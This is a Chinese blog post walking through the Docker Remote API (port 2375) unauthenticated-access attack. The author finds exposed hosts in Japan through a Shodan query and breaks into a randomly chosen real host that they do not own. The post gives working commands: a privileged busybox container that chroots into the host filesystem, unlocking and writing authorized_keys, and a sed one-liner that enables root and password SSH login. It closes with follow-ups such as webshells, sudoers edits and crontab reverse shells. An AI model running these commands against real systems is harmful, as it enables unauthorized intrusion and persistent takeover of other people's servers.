Docker Remote API未授权访问漏洞复现

在前一篇文章中,我大致分析了 EXIN 挖矿木马主要是通过 docker 2375 端口未授权访问来实现入侵的,虽然这个漏洞我很早就知道了,而且关于这个漏洞利用的文章早在两年前就有了。不过我是第一次在实际案例中遇到,我还是决定复现一下,作为经验积累。

由于 docker 安装后是默认不允许远程访问的,所以很多小白可能就直接搜索网上的文章开启 dcoker 远程访问,然后照着操作。虽然这样可以远程访问了,但是直接暴露在公网上的 2375 端口是非常危险的,导致所有人都可以远程操作这台主机上的 Docker。

至于如何开启 docker 远程访问,网上有很多文章,我这里就简单提一下。

为了方便复现这个漏洞,我打算直接在公网上找开放了 2375 端口的主机演示。因为前段时间遇上 shodan 十周年庆,一美元即可充值会员。所以这里就直接在 shodan 上搜索国外开放了 2375 端口的主机。

这里以我搜索的关键字为例,最后要加上 docker 关键字排除 2375 端口被用作其他用途的情况,提高搜索准确率。

port:”2375″ country:”JP” Docker

这里我们在 shodan 上随便选一个 ip 做测试。

可见我们已经测试成功,显示了当前主机已经运行的容器。不过很明显之前已经被人搞过了。先把挖矿的容器清理掉,那么我们接着搞。

我们用下面的命令,在对方主机上创建一个 busybox 的容器,其他镜像也行。不过 busybox 体积小,从仓库拉取的速度也更快,同时命令也齐全,搞起来方便。

docker -H tcp://vps 的 ip run –rm –privileged -it -v /:/mnt busybox chroot /mnt sh

简单解释一下参数的含义:

–rm 容器停止时,自动删除该容器

–privileged  使用该参数,container 内的 root 拥有真正的 root 权限。否则,container 内的 root 只是外部的一个普通用户权限。privileged 启动的容器,可以看到很多 host 上的设备,并且可以执行 mount。甚至允许你在 docker 容器中启动 docker 容器。

-v 挂载目录。格式为 系统目录: 容器目录

chroot 就是把根目录切换到 / mnt,最后的 sh 就是我们使用的 shell。

chattr -aui /root/.ssh/authorized_keys

这里写入我们主机的 ssh 公钥。至于怎么产生自己的 ssh 公钥和私钥,我在之前的一篇博客中写过,就不在这里赘述了。链接为

Redis 未授权访问漏洞 复现

两者方法都是相同的,都是向目标服务器写入自己的公钥。

为了方便,直接用 sed 命令一键修改。

sed -i -e ‘s/#Port 22/Port 22/g’ -e ‘/^Port 22/a\Port 2433’ -e ‘s/#PermitRootLogin/PermitRootLogin/g’ -e ‘s/PermitRootLogin no/PermitRootLogin yes/g’ -e ‘s/PermitRootLogin without-password/PermitRootLogin yes/g’ -e ‘s/PermitRootLogin prohibit-password/PermitRootLogin yes/g’ -e ‘s/PasswordAuthentication no/PasswordAuthentication yes/g’ -e ‘s/GSSAPIAuthentication yes/GSSAPIAuthentication no/g’ -e ‘s/GSSAPICleanupCredentials yes/GSSAPICleanupCredentials no/g’ /etc/ssh/sshd_config

systemctl restart sshd

不过这个是可选的,因为有的云主机并没有限制 root 登录。

渗透成功!

引用网上的一些总结流程:

  1. Docker 是以 root 权限运行的,这是所有姿势的前提
  2. Docker 在运行一个容器的时候可以将宿主机上的一个目录挂载到容器内的一个目录,我们可以参考 redis 未授权访问漏洞,将宿主机的 / root/.ssh 目录挂载到容器上,然后写入公钥。如果有 web 目录的话,最差也能上一个 webshell。
  3. 有些服务器不允许 root 登录,可以写入其他用户的. ssh / 目录下(通过查看 / etc/ssh/sshd_config 目录),然后修改 / etc/sudoer 中的文件,配置为 sudo 免密码,切换为 root
  4. 还可以通过 crontab 写计划任务反弹 shell

原文地址 zgao.top